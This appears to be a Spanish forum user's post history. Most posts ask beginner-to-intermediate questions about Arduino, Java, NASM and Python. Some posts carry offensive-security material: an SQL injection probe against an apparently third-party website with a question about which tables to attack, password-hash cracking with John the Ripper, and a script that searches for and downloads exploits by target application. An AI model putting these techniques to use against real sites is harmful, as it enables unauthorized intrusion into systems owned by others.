               .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
               .addComponent(jButton3)
               .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
               .addComponent(jButton4)
               .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
               .addComponent(jSlider1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
               .addContainerGap(107, Short.MAX_VALUE))
       );

       pack();
   }// </editor-fold>//GEN-END:initComponents

   private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed
       Control.EnviaComando(98,0);
   }//GEN-LAST:event_jButton2ActionPerformed

   private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
       Control.EnviaComando(97,0);
   }//GEN-LAST:event_jButton1ActionPerformed

   private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton3ActionPerformed
       Control.EnviaComando(99,0);
   }//GEN-LAST:event_jButton3ActionPerformed

   private void jSlider1StateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_jSlider1StateChanged
       
       Control.EnviaComando(100,jSlider1.getValue());
       System.out.print(jSlider1.getValue());
   }//GEN-LAST:event_jSlider1StateChanged

   private void jButton4ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton4ActionPerformed
       Control.EnviaComando(100,0);
   }//GEN-LAST:event_jButton4ActionPerformed

   /**
   * @param args the command line arguments
   */
   public static void main(String args[]) {
       java.awt.EventQueue.invokeLater(new Runnable() {
           public void run() {
               new PanelControl().setVisible(true);
           }
       });
   }

   // Variables declaration - do not modify//GEN-BEGIN:variables
   private javax.swing.JButton jButton1;
   private javax.swing.JButton jButton2;
   private javax.swing.JButton jButton3;
   private javax.swing.JButton jButton4;
   private javax.swing.JSlider jSlider1;
   // End of variables declaration//GEN-END:variables

}
class Control
{
   static SerialPort puerto = new SerialPort();
   static List<String> listaPuertos;
   static Com com1;
   public static void EnviaComando(int interrupcion, int argumento)
   {
       try {
           listaPuertos = puerto.getFreeSerialPort();
           String recibido = "";
           String caracter = "";

           Parameters settings = new Parameters();
           settings.setPort("COMUSB2");
           settings.setBaudRate("9600");
           com1 = new Com(settings);
           System.out.println(recibido);
           com1.writeDataInt("COMUSB2", interrupcion);
           com1.writeDataInt("COMUSB2", argumento);
       } catch (Exception ex) {
           Logger.getLogger(Control.class.getName()).log(Level.SEVERE, null, ex);
       }
   }
}

Que envia el siguiente codigo numerico:
97 -> Enciende LED
98-> Apaga LED
99-> Fadding Pre-establecido
100 + valorCustom -> Gradua la intensidad del led con el valor custom, ose 100 quiere decir, espera otro valor y ponlo como valor de intensidad.

Y este es el codigo de mi arduino:

Código (cpp) [Seleccionar]

// start reading from the first byte (address 0) of the EEPROM
int address = 0;
byte value;
int incomingByte = 0;
const int pinLed = 11;

void setup()
{
 Serial.begin(9600);
 pinMode(pinLed, OUTPUT);
 Serial.println("Hola, te has conectado");
}

void loop()
{
 if (Serial.available() > 0) {
// read the incoming byte:
incomingByte = Serial.read();

// say what you got:
//Serial.print("Orden recivida: ");
//Serial.println(incomingByte, DEC);
               switch(incomingByte)
               {
               case 97:
                 digitalWrite(pinLed, HIGH);
                 Serial.println("Enciendo led...");
                 break;
               case 98:
                 digitalWrite(pinLed, LOW);
                 Serial.println("Apagando led...");
                 break;
               case 99:
                 Serial.println("Iniciando proceso de fadding...");
                 digitalWrite(pinLed, LOW);
                 for(int fadeValue = 0 ; fadeValue <= 255; fadeValue +=5) {
                   // sets the value (range from 0 to 255):
                   analogWrite(pinLed, fadeValue);        
                   // wait for 30 milliseconds to see the dimming effect    
                   delay(30);                            
                   }

                   // fade out from max to min in increments of 5 points:
                   for(int fadeValue = 255 ; fadeValue >= 0; fadeValue -=5) {
                   // sets the value (range from 0 to 255):
                   analogWrite(pinLed, fadeValue);        
                   // wait for 30 milliseconds to see the dimming effect    
                   delay(30);                            
                   
                  }
                  break;
                  case 100:
                  Serial.read();
                   int valorFadding = Serial.read();
                   analogWrite(pinLed, valorFadding);
                   break;
                 
         }

 

 }
}

Que en concreto, se puede apreciar que cuando recive el valor 100, vuelve a leer, porque mi programa en java, envia un segundo dato con el valor del fadding, de manera que cuando muevo el slide del programa envia 100, 5 100, 230 y cuando detecta 100 lee lo siguiente y se lo pone, pero no funciona bien, es tocar el slide y que se encienda sin variaciones.

Alguien tiene idea de porque ocurre esto?


Saludos
#67
Electrónica / Problema con codigo arduino :S
30 Mayo 2010, 12:29 PM
Hola a todos, probando cosillas con mi arduino, compré unos mini pushButtons y los inserté en mi protoboard, en concreto uno, con el siguiente montaje:

Alimentación 5 V hasta llegar a una patilla del boton que limita el paso de este voltaje, y de la otra patilla sale a una entrada digital, la del pin2, y con el siguiente codigo quiero hacer que cuando el pin de entrada detecte algo empieze el fadding del led en la salida 11.

La cosa es que arduino hace el fadding sin pulsar el boton, nada mas encender el aparatito ya empieza, aqui el codigo que he compuesto:

Código (cpp) [Seleccionar]

int ledPin = 11;    // LED connected to digital pin 9
int buttonPin = 2;
int value = 0;
void setup()  {

pinMode(buttonPin, INPUT);
}

void loop()  {
  // fade in from min to max in increments of 5 points:
  while(digitalRead(buttonPin) == HIGH)
  {
  value = digitalRead(buttonPin);
  Serial.print(value);
 
  for(int fadeValue = 0 ; fadeValue <= 255; fadeValue +=5) {
    // sets the value (range from 0 to 255):
    analogWrite(ledPin, fadeValue);         
    // wait for 30 milliseconds to see the dimming effect   
    delay(30);                           
  }


  // fade out from max to min in increments of 5 points:
  for(int fadeValue = 255 ; fadeValue >= 0; fadeValue -=5) {
    // sets the value (range from 0 to 255):
    analogWrite(ledPin, fadeValue);         
    // wait for 30 milliseconds to see the dimming effect   
    delay(30);                           
  }
  }
}


Alguien puede decirme en que estoy fallando?


Saludos
#68
Hola a todos, compré hace unas semanas una plaquita arduino, y por curiosidad de futuras necesidades, me veo obligado a sacar el micro-controlador de su socket, estirando parece no ceder, y me da miedo insistir demasiado por si se rompe.

Tengo que hacer algo especial para sacarlo?


Saludos
#69
Electrónica / Para montar un quadcopter...
18 Mayo 2010, 22:54 PM
Hola todos, he adquirido recientemente una placa arduino, y la he hecho funcionar con un robotito de 6 servos, ahora quiero construir un quadcopter, he visto que usan estos motorcillos:


Motores Sin Cepillado (Brushless) marca "HIMAX" modelo "HC2812-0650"
Potencia: 150 W
I del ESC: 10 A
Peso: 64 gr
Diámetro: 28 mm
Largo: 40 mm

Mas o menos por cuanto me saldria comprar 4 de estos?
No entiendo principalmente que significa lo de sin cepillado.

Luego la pregunta, como leches levantan unos motorcillos de ***** (perdonad la expresion) casi un kilo de peso que pesa el armazón.

Mas cosas:
Como alimento estos motores con el arduino? transistores PNP y amplifico corriente? pero quizás pese mucho, alguna idea?


Saludos y gracias por todo.
#70
Nivel Web / Problema con SQLi
16 Mayo 2010, 14:54 PM
Problema con SQLi
He sabido de una vulnerabilidad en una web, intento estudiarla, he probado a ejecutar SQL Queryes pero me da error de sintaxis:

Citarindex.php?opc=noticias_ver&id=666'Select * from productos.ref--'

Y me da el siguiente error de sintaxis:

CitarYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'Select * from productos.ref--\'' at line 1

Luego preguntar otra cosa, una vez consiga injectar algo como se que tablas atacar?

Saludos
#71
Hola a todos, estoy analizando la seguridad de mi contraseña en mi sistema Linux Fedora.
La cosa es la siguiente, tengo la siguiente linea en el archivo que queiro crackear:
Citar
root:XpAxNqj.2Wh6.:0:0:root:/root:/bin/bash

Y hago lo siguiente:

./john miarchivoconhashses.txt

Y se pega la tira probando contraseñas pero no acaba.

Cuanto puede tardar asi?
Hay otro metodo mas efectivo con john para crackear contraseñas de este tipo?

Saludos y gracias por vuestra atencion
#72
Hola a todos, hace unos dias me puse a programar python, a pesar de que tuve algun problema tonto de sintaxis por lo demás me las arreglé, quise codear un buscador y descargador de exploits, que lee desde varias fuentes, aunque por ahora solo una.
Pretendia ademas hacer que ejecutase dichos exploits, pero es mas complejos puesto que cada uno tiene sus variables y demás.

Comentar y agrdecer a www.delincuentedigital.com.ar de donde saque la idea principal, asi como una parte, o concepto del codigo, sin mas dilación, todo vuestro:

Código (python) [Seleccionar]

#!/usr/bin/env python
import urllib
import re
import os
import time
os.system('clear')
print '[*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*]'
print '[*]Bienvenid@ al buscador/descargador de exploits automatizado                                           [*]'
print '[*]Esta aplicacion ha sido creada con fines educativos y probar la seguridad de nuestro sistema          [*]'
print '[*]Si el sistema que vas a probar no te pertenece o no estas autorizado a hacerlo, no lo hagas, es ilegal[*]'
print '[*]Agradecimientos a www.delincuentedigital.com.ar en quien he basado parte del codigo                   [*]'
print '[*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*][*]\n'
print '[!]Para continuar pulse {ENTER}, si no cumple las condiciones anteriores, pulse Ctr+C\n'
raw_input()


dong = (raw_input('[!]Introduzca el nombre de la aplicacion que desea vulnerar:\n'))

descarga = (raw_input('[!]Desea descargar todos los exploits que encuentre? (Si o No)\n'))

def Milw0rm(busqueda, descarga):
sitio = "http://www.milw0rm.com/search.php?dong="

source = urllib.urlopen(sitio+busqueda).read()
founds = re.findall("href=\"/exploits/\d+",source)
encontrados = len(founds)
corredor = 0
lista = []

if encontrados == 1:
        print "\n[+]",encontrados,"exploit encontrado\n"
elif encontrados == 0:
        print "\n[-]No se ha encontrado ningun exploit\n"
else:
        print "\n[+]",encontrados,"exploits encontrados\n"
if len(founds) >=1:
        for found in founds:
                  found = found.replace("href=\"","")

                  print "http://www.milw0rm.com"+found
                  enlace = "http://www.milw0rm.com"+found
                  lista.insert(corredor, enlace)
                  corredor+=corredor

if descarga == "si" or descarga == "Si" or descarga == "SI":
print "\n[!]Procediendo a descargar los exploits...\n"
time.sleep(5)
        for i in range(len(lista)):
  os.system("wget "+lista[i])

def ExploitDB(busqueda):
dong = busqueda
sitio = "http://www.exploit-db.com/list.php?description="+dong+"&author=&platform=&type=&port=&osvdb=&cve="
print sitio
source = urllib.urlopen(sitio).read()
founds = re.findall("href=\"/exploits/\d+",source)
print "\n[+]Su busqueda ha devuelto",len(founds),"exploits\n"
if len(founds) >=1:
        for found in founds:
                 found = found.replace("href=\"","")
                 print "http://www.exploit-db.com"+found
else:
        print "[-]No se encontraron exploits en exploitDB\n"

print "\n[+]Buscando exploits en Milw0rm..."
time.sleep(2)
Milw0rm(dong, descarga)
#Por ahora desaqbilitado...
#print "\n[+]Buscando exploits en ExploitDB...\n"
#time.sleep(2)
#ExploitDB(dong)


Disfrutadlo, espero criticas, agradecimientos y sugerencias, asi como alguna idea sobre como hacer que ejecute exploits, pues tengo una idea pero la veo un poco lejos (por la cantidad de codigo requerida...)

Saludos
#73
Hola a todos, he codeado algo en python que me va mostrando resultados de una busqueda, lo que quiera hacer es ir añadiendo dichos elementos a una lista, luego recorrerla y mostrarla.

El problema es que no se como añadirlos por indice.
Comentar que vengo de java y tengo un nivel alto de programacion pero python he programado sin leer ni una puñetera referencia.

Saludos
#74
Hola a todos, ayer leyendo un post de este mismo foro vi que Python era del 92, cosa que me sorprendió pues pensava que era mas nuevo.

Alguien conoce lenguajes de programacion creados recientemente?
Yo se del de google, hasta he programado un hola mundo y poco mas en este.

Espero vuestras respuestas.

Gracias de antemano

Saludos
#75
Hola a todos, desarrollé hace poco una aplicación en java que requeria uso de la clase contenedor BigDecimal, pues tengo que almacenar un numero muy grande, la cosa esta en que debo guardarlo en un archivo para mostrarlo.

He probado a convertir el BigDecimal a decimal, a string y demas pero obtengo resultados extraños o incoherentes:

Con string, al abrir el archivo sale un numero que no se corresponde
Con Integer, el archivo se escribe en modo binario, y al abrirlo no encuentro nada.

He usado FileOutputStream:

Código (java) [Seleccionar]

public static void grabarArchivo(int datos) {
        try {
           FileOutputStream archivo = new FileOutputStream("/root/archivo.txt");
           archivo.write(datos);
           archivo.close();

           
        } catch (Exception e) {
            //Where is my motivation? No time for the motivation!... Que pereza...
        }
    }
}


Haber si me pueden ayudar, pues no entiendo este error.

Saludos
#76
Java / Calculo del numero PI (Distributivo)
21 Abril 2010, 20:37 PM
Hola a todos, estoy creando un sistema para calcular el numero PI con una precisión arbitraria, y tengo varias dudas, si quiero calcularlo bien, quiero hacerlo de manera ordenada, y por tanto dsitributiva, entre varios PC, por lo que he caido en la idea de diseñar una red P2P mezclando JRMI, con sockets y tal, pero no veo la manera de dividir la operacion entre varias personas, en teoria no pretendo dividirla, si no usar todos los PC a la vez para calcularlo.

Luego se me presenta otro problema, que es que quiero ir mostrando numeros uno por uno de los que voy calculando, tengo el siguiente algoritmo:

Código (java) [Seleccionar]


import java.math.*;

public class Pi {
    // constantes utilizadas en el calculo de pi
    private static final BigDecimal ZERO = BigDecimal.valueOf(0);
    private static final BigDecimal  ONE = BigDecimal.valueOf(1);
    private static final BigDecimal FOUR = BigDecimal.valueOf(4);

    // modo de redondeo utilizado durante el calculo
    private static final int roundingMode = BigDecimal.ROUND_HALF_EVEN;
    //numero de digitos tras el punto decimal
    private int digits;
   
    //Construye una tarea para calcular el numero pi con la precision especificada.     
    public Pi(int digits) {
        this.digits = digits;
    }
    public static void main(String args[])
    {
   
    System.out.println(computePi(100000000));
    }
    // Calcula pi
    public Object execute() {
        return computePi(digits);
    }

   
    public static BigDecimal computePi(int digits) {
        int scale = digits + 5;
        BigDecimal arctan1_5 = arctan(5, scale);
        BigDecimal arctan1_239 = arctan(239, scale);
        BigDecimal pi = arctan1_5.multiply(FOUR).subtract(arctan1_239).multiply(FOUR);
         return pi.setScale(digits, BigDecimal.ROUND_HALF_UP);
    }

     
    public static BigDecimal arctan(int inverseX, int scale)     {
        BigDecimal result, numer, term;
        BigDecimal invX = BigDecimal.valueOf(inverseX);
        BigDecimal invX2 = BigDecimal.valueOf(inverseX * inverseX);

        numer = ONE.divide(invX, scale, roundingMode);

        result = numer;
        int i = 1;
        do {
            numer = numer.divide(invX2, scale, roundingMode);
            int denom = 2 * i + 1;
            term = numer.divide(BigDecimal.valueOf(denom), scale, roundingMode);
            if ((i % 2) != 0) {
                result = result.subtract(term);
            } else {
                result = result.add(term);
            }
            System.out.println(term);
            i++;
        } while (term.compareTo(ZERO) != 0);
        return result;
    }
}


La cosa esta en que si meto un numero muy bestia, se queda calculando y hasta que no tiene un resultado no muestra, por lo que quiero que cada decimal que se calcule, sea mostrado.

Alguna idea?

Saludos
#77
Java / VPN Api?
11 Abril 2010, 21:14 PM
Me gustaria saber si alguien tiene conocimiento de alguna library u api de java para protocolo VPN (Virtual Protocol Network) para establecer LAN´s a distancia, para construir un cliente de este protocolo.

En su defecto una manera de simularla.

Saludos
#78
Hola a todos, porfin me he decidido a comprar algo, para desarrollar un sistema robotico, he encontrado este que esta muy bueno:

http://www.superrobotica.com/S310162.htm

Que solo le falta un procesador de 24 pines, que en teoria es este:

http://www.superrobotica.com/S310205.htm

Pero no se si es un circuito o ese mismo me vale de procesador para la primera interfaz.

Que opinan sobre este circuito? He visto el lenguaje y es bastante potente, no quiero liarme con pics que requieran ASM y tal, asi que por eso no lo critiquen que el lang me parece perfecto.

Comentar tambien que a pesar de que trae un puerto de seria para conectar con el pc, me gustaria saber como se carga el codigo en el controlador, pues no he creado ninguno en electronica, tengo entendido que se hace con un grabador pero este trae puerto de serie asi que no se.

Luego otra cosa que me gustaria decir es que veo que el precio de microcontrolador Basic 24X (el segundo link) es mas alto que el circuito en si, es que viene con algo mas?

Siento si estas preguntas son bobas, pero no quiero malgastar mi dinero.

Saludos
#79
Diseño Gráfico / Quien me hace una firmita?
4 Abril 2010, 22:33 PM
Hola jaja, no me paso mucho por este foro, y hoy tras hecharle una ojeada he visto que está wapisimo, grandes obras, realmente de calidad.

Buscaba a alguien desinteresado que me hiciese una firmita si queire para practicar, o como simple favor.

Desde ya un saludo
#80
Unix/Unix-Like / BSD... Cual escojo?
4 Abril 2010, 11:23 AM
Hola a todos, hoy me he levantado con ganas de BSD, pero tras ver todas las versiones que hay... yo probé hace tiempo el freeBSD pero hace mucho, la interfaz era poco mas que X Window  >:D
Cual es mas potente que hay ahora por ahi?

Saludos
#81
Hola amigos, porfin voy a contribuir a esta seción, se que habrá buenas y malas criticas (quizás mas malas  :-X) pero bueno:
Hace poco he abierto mi blog donde publico articulos de todo tipo relacionados con la informatica, he creado uno en concreto sobre vulnerabilidades de servicios remotos, funcionamiento del ataque y demás, teoria explicacion de un BoF y practica con metasploit.

Pongo el enlace al articulo en concreto puesto que no lo considero spam, al ser un articulo maquetado con html y otros que perderia valor sin este, si lo consideran spam borren el link, pero ya digo que no es ni mucho menos mi intención hacerlo:

http://www.0x81team.co.cc/?p=23


Espero que les sirva y que lo disfruten.

Saludos
#82
ASM / Mi segundo programa en ASM
2 Abril 2010, 12:19 PM
Hola a todos, esta vez he querido leer un caracter de stdin pero hay segmentation fault, es porque alamaceno lo leido en esi y no soy capaz de derteminar la length de este para darselo al sys_write, es basicamente un programa de echo:

Código (asm) [Seleccionar]

section .text
  global _start ;parida que necesita el linker xD

_start: ;entry point
       pop ebx
       pop ebx
       pop ebx
       pop ebx
       mov eax,5
       add     ebx,ecx
mov edx,len ;Longitud del mensaje
mov ecx,msg ;Mensaje que vamos a escribir
mov ebx,1 ;file descriptor (stdout)
mov eax,4 ;llama de sistema numero 4 (sys_write)
int 80h ;call al kernel para que ejecute las sentencias
       pushad ;Guardamos registros
       pushfd ;Guardamos flags
       mov     eax, 3 ;sys_read(3)
       mov     ebx, 0 ;stdin (0)
       mov     ecx, esi ;Guardamos la string en esi
       mov     edx, 1 ;nnumero de bytes a leer
       int     80h ;llamada al kernel de linux
       popfd ;re-establecemos flags
       popad ;re-establecemos registros
       ret ;retorno para llamar al procedimiento
       
       mov edx,length2 ;longitud del mensaje
mov ecx,esi ;mensaje a escribir
       mov ebx,1 ;file descriptor (stdout)
       mov eax,4 ;llamada a sistema numero 4 (sys_write)
int 80h ;linux esta aqui!
       mov     eax,1 ;llamada a sistema numero 1 (sys_exit)
int 80h ;llamada al kernel, linux acabará con la ejecución del proceso
       


section .data

msg db 'Hola mundo!',10 ;la primera cadena
mensaje2 db 'a',10
len equ $ - msg ;longitud de nuestra cadena
length2 equ  $ - mensaje2



Saludos
#83
ASM / Mi primer programa en NASM
2 Abril 2010, 11:51 AM
Hola a a todos, me va gustando esto del asm xD
Mirad he hecho mi primer code, muy sencillo un hi World clasico pero con unas cosillas mas:

Código (asm) [Seleccionar]

section .text
  global _start ;parida para tener al linker contento

_start: ;entry point

mov edx,len ;colocamos en edx como primer argumento de la llamada a sys_write len
mov ecx,msg ;en ecx el segundo argumento que es una define double word (la cadena)
mov ebx,1 ;el file descriptor, el out standard
mov eax,4 ;llamada a sistema (sys_write)
int 80h ;llamamos al kernel para que ejecute
       jmp segundaLlamada ;salto incondicional a otra seción de codigo

segundaLlamada:

       mov edx,length2 ;lo mismo de antes
mov ecx,mensaje2 ;lo mismo
mov ebx,1 ;lo mismo
mov eax,4 ;mas de lo mismo
int 80h ;mas todavia
       mov eax,1 ;llamamos a 1 (sys_exit)
       mov ebx,0       ;codigo de salida, o eso he entendido
int 80h ;otra vez mi querido linux

section .data

msg db 'Hola mundo!',10 ;cadena
mensaje2 db 'Y buenos dias NASM',10
len equ $ - msg ;cadena
length2 equ  $ - mensaje2


El problema es que ejecuta 3 veces el syswrite cuando solo deberian ser dos, debuggeo y me fijo en que hace el salto a segundaLlamada y despues de eso la vuelve a ejecutar.
Como es eso?

Otra duda, como es que no puedo poner el valor de salto de linea como ah? si es 0x0a porque no puedo poner ah tengo que poner 10 o 0xa no lo entiendo con 0x80 si me deja pues pongo 80h.

Saludos

Saludos
#84
Hola a todos, empollandome la guia de MSF Unleashed he visto que usan el SET (Social Engineering Toolkit), y que hacen un ataque de phising con arp spoofing a distancia, usando ettercap, puesto que la ip que usan como ejemplo no es de una lan, miradlo aqui:
http://www.offensive-security.com/metasploit-unleashed/

No salgo de mi asombro :s

Saludos
#85
ASM / Duda sobre OPCODE
1 Abril 2010, 17:06 PM
Hola a todos, estoy aprendiendo asm, y para comprenderlo mejor y llegar a hacer virguerias que se ven por ahi, he decidido leerme la teoria completa de los procesadores y CPU, y como se codifican las instruciones de asm a opcode para ejecutar, por ejemplo:
La instrucion que suma los registros EAX y EBX y almacena el resultado en EAX (es add si no me equivoco), como es que luego se codifica a:
03 c3
y presupongo que si hago por ejemplo un payload que haga esa operacion con los registros seria algo asi a injectar:

\x03\xC3 que vendria a ser 0x03 y 0xC3
como se hace esa transformación?
Osea que la equivalencia de los valores ASCII en hexadecimal que encuentro cuando abro un programa con Text plano son los opcode?
Perdonad si quizás este diciendo burradas, pero son cosas que he querido saber siempre.
Otra pregunta, el operador db para que sirve? deduzco que es para alamacenar en memoria, pero no lo se seguro.

Saludos
#86
Hola a todos, ya tengo mi procesador de expresiones algebraico-aritmeticas, resuelve expreiones facilmente, ahora quiero dar el paso y conseguir hacerlo con expresiones de dos miembros, osease, ecuaciones con 1 o mas incognitas.

Tengo por ejemplo esta expresion:

Citar5*49/2*a == 15
La evaluo, proceso y me pide un valor para a se lo doy y si no cumple la expresión, devuelve 0 (false) si la cumple devuelve 1 (true).
Ahora estoy planteando una manera de aislar la incognita en uno de los miembros de la ecuacion, para resolverla, añadirla ala expresion inicial y comprovar que es correcta.
La pregunta es como?

He imaginado 3 maneras posibles:

La primera, es haciendo el bestia, y usando puerza bruta, aunmentando la variable de 0,001 en 0,001 e ir probando pero será muy inexacto y es probable que en muchas ocasiones no lo encuentre, eso sin contar con el uso de memoria que requeriria un bucle de ese nivel.

La segunda es identificando el grado de la ecuacion, aislar las incognitas y aplicar la formula correspondiente.

La tercera es haciendolo literalmente, osea moviendo caracteres por la cadena, y detectando el simbolo que lleva para luego dejar la incognita sola y evaluar la expresión. Esto eliminando posibilidades puede resultar muy tedioso de programar, y quizas, que estoy seguro que habrá metodos mas sencillos que estos.

Un saludo
#87
Hola a todos, tengo ya casi acabado el analizador de expresiones numéricas, le introduces una expresion aritmetica con variables inclusive, la analiza y resuelve, pero aun tiene un error que no he conseguido solucionar, os dejo el codigo y el error:

Código (java) [Seleccionar]

package main;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.math.BigDecimal;
import java.util.HashMap;
import java.util.Map;
import java.util.Vector;

import net.java.dev.eval.Expression;

public class principal {
//Por cutre que parezca, si he metido el abecedario en una matriz para identificar incognitas...
//xD
public static char[] TokensVariables = {'a', 'A', 'b', 'B', 'c', 'C', 'd', 'D', 'e', 'E', 'f', 'F', 'g', 'G', 'h', 'H', 'i', 'I', 'j', 'J', 'k', 'K', 'l', 'L', 'm', 'M', 'n', 'N', 'o', 'O', 'p', 'P', 'q', 'Q', 'r', 'R', 's', 'S', 't', 'T', 'u', 'U', 'v', 'V', 'w', 'W', 'x', 'X', 'y', 'Y', 'z', 'Z'};
public static int cuantasVariables = 0;
public static Vector<Character> vectorOperandos = new Vector(10, 5);
public static Vector<Character> vectorVariables = new Vector(10, 5);

public static void main(String args[])
{

   String expresion = new String("2*x+b");
     
   System.out.println("\n"+Procesador(preProcesador(expresion), expresion)); //La recursividad es inutil aqui, o quizas lo soy yo...

}
static int[] preProcesador(String argumento)
{
char[] TokensOperandos = {'+', '-', '*', '/', '^'};

char[] TokensVariables = {'a', 'A', 'b', 'B', 'c', 'C', 'd', 'D', 'e', 'E', 'f', 'F', 'g', 'G', 'h', 'H', 'i', 'I', 'j', 'J', 'k', 'K', 'l', 'L', 'm', 'M', 'n', 'N', 'o', 'O', 'p', 'P', 'q', 'Q', 'r', 'R', 's', 'S', 't', 'T', 'u', 'U', 'v', 'V', 'w', 'W', 'x', 'X', 'y', 'Y', 'z', 'Z'};

int countOperandos = 0;
int countVariables = 0;
/*BUCLE SEPARADOR DE OPERANDOS*/

/*-NOTA: ESTE ALGORITMO SE PUEDE MEJORAR, PUES EL BUCLE SOBRECARGA*/
//                                        ^
//                                        |
//La pereza hace cosas muy malas...  -----|
//Bucle que busca operandos y los distribuye en memoria
for(int i = 0; i< argumento.length(); i++)
{
//Bucle para recorrer la matriz con los tokens
for(int j = 0; j < TokensOperandos.length; j++)
{
char chVolatil = TokensOperandos[j]; //Un caprichito de programador idiota :P
if(argumento.charAt(i) == chVolatil)
{
vectorOperandos.add(chVolatil);
countOperandos++;
}
}
}
/*BUCLE PARA SEPARAR VARIABLES                                    */
/*-NOTA: ESTE ALGORITMO SE PUEDE MEJORAR, PUES EL BUCLE SOBRECARGA*/
    //                                        ^
//                                        |
//La pereza hace cosas muy malas...  -----|
for(int i = 0; i < argumento.length(); i++)
{
//Bucle para recorrer la matriz con los tokens
for(int j = 0; j < TokensVariables.length; j++)
{
char varVolatil = TokensVariables[j]; //Un caprichito de programador idiota :P
if(argumento.charAt(i) == varVolatil)
{
vectorVariables.add(varVolatil);
countVariables++;
}
}
}//Que poco me gusta trabajar, y como se nota el copypaste de este fragmento...
//Para que codearlo 2 veces? Es inutil hacerlo :P
System.out.print("Estos son los " + vectorOperandos.size() + " operandos que hay en la expresion:\n" );
System.out.print("[");
for(int i=0; i<vectorOperandos.size(); i++){
if(i == 0)
{
        System.out.print(vectorOperandos.elementAt(i));
}else{
    System.out.print(","+vectorOperandos.elementAt(i));
}
    }
System.out.print("]\n");
    System.out.println("/////////////////////////////////////////////////////////////////////////////// ");
    System.out.println("############################################################################### ");
    System.out.println("/////////////////////////////////////////////////////////////////////////////// ");
System.out.print("Y aqui estan las " + vectorVariables.size() + " variables o incognitas de la expresion:\n");
System.out.print("[");
for(int i=0; i<vectorVariables.size(); i++){
if(i == 0)
{
        System.out.print(vectorVariables.elementAt(i));
}else{
    System.out.print(","+vectorVariables.elementAt(i));
}
    }
System.out.print("]");
int[] salida = {countOperandos, countVariables};
return salida;
}
static BigDecimal Procesador(int[] cuantos, String que)
{

Expression exp = new Expression(que);
InputStreamReader isr = new InputStreamReader(System.in);
     BufferedReader br = new BufferedReader(isr);

Map<String, BigDecimal> variables = new HashMap<String, BigDecimal>();

for(int j = 0; j < cuantos[1]; j++)
{
System.out.print("\nDame un valor para la variable " + vectorVariables.elementAt(j) + " :\n");
try {
String expresionVolatil = br.readLine();
            variables.put(String.valueOf(vectorVariables.elementAt(j)), Procesador(preProcesador(expresionVolatil), expresionVolatil));
} catch (IOException e) {
           e.printStackTrace();
}
}
     BigDecimal result = exp.eval(variables);

return result;
}
}


Y aqui la salida de la ejecucion del programita en cuestion:
OUT:

Ya depurado el programa hace su funcion especial solo tiene un pequeño fallo que no soy capaz de ver:
Citar
Estos son los 2 operandos que hay en la expresion:
[*,+]
///////////////////////////////////////////////////////////////////////////////
###############################################################################
///////////////////////////////////////////////////////////////////////////////
Y aqui estan las 2 variables o incognitas de la expresion:
[x,b]
Dame un valor para la variable x :
5*3
Estos son los 3 operandos que hay en la expresion:
[*,+,*]
///////////////////////////////////////////////////////////////////////////////
###############################################################################
///////////////////////////////////////////////////////////////////////////////
Y aqui estan las 2 variables o incognitas de la expresion:
[x,b]
Dame un valor para la variable b :
6*x
Estos son los 4 operandos que hay en la expresion:
[*,+,*,*]
///////////////////////////////////////////////////////////////////////////////
###############################################################################
///////////////////////////////////////////////////////////////////////////////
Y aqui estan las 3 variables o incognitas de la expresion:
[x,b,x]
Dame un valor para la variable x :
15
Estos son los 4 operandos que hay en la expresion:
[*,+,*,*]
///////////////////////////////////////////////////////////////////////////////
###############################################################################
///////////////////////////////////////////////////////////////////////////////
Y aqui estan las 3 variables o incognitas de la expresion:
[x,b,x]
120
Ese seria el desarrollo de la expresión 2*x+b

El problema es que cuando cuando un valor para una variable, si introduzco otra expresion que tenga otra variable y no es una de las que estaban en la principal no funciona, aqui os dejo para que lo veais con vuestros propios ojos:

Citar
Estos son los 2 operandos que hay en la expresion:
[*,+]
///////////////////////////////////////////////////////////////////////////////
###############################################################################
///////////////////////////////////////////////////////////////////////////////
Y aqui estan las 2 variables o incognitas de la expresion:
[x,b]
Dame un valor para la variable x :
5*x
Estos son los 3 operandos que hay en la expresion:
[*,+,*]
///////////////////////////////////////////////////////////////////////////////
###############################################################################
///////////////////////////////////////////////////////////////////////////////
Y aqui estan las 3 variables o incognitas de la expresion:
[x,b,x]
Dame un valor para la variable x :
7
Estos son los 3 operandos que hay en la expresion:
[*,+,*]
///////////////////////////////////////////////////////////////////////////////
###############################################################################
///////////////////////////////////////////////////////////////////////////////
Y aqui estan las 3 variables o incognitas de la expresion:
[x,b,x]
Dame un valor para la variable b :
6*d  <----- Aqui introduzco una nueva variable, que teoricamente tendria que analizar y pedir un valor para esta
Estos son los 4 operandos que hay en la expresion:
[*,+,*,*]
///////////////////////////////////////////////////////////////////////////////
###############################################################################
///////////////////////////////////////////////////////////////////////////////
Y aqui estan las 4 variables o incognitas de la expresion:
[x,b,x,d]
Dame un valor para la variable x :   <-------Sin embargo pide para X y no para d que es la que he pedido y como se aprecia abajo no tiene valor para d puesto que no ha pedido para esta, si no para X
1
Exception in thread "main" java.lang.RuntimeException: no value for variable "d"
   at net.java.dev.eval.Operation.evaluateOperand(Operation.java:128)
   at net.java.dev.eval.Operation.eval(Operation.java:107)
   at net.java.dev.eval.Expression.eval(Expression.java:161)
   at main.principal.Procesador(principal.java:123)
   at main.principal.Procesador(principal.java:118)
   at main.principal.main(principal.java:26)

Estos son los 4 operandos que hay en la expresion:
[*,+,*,*]
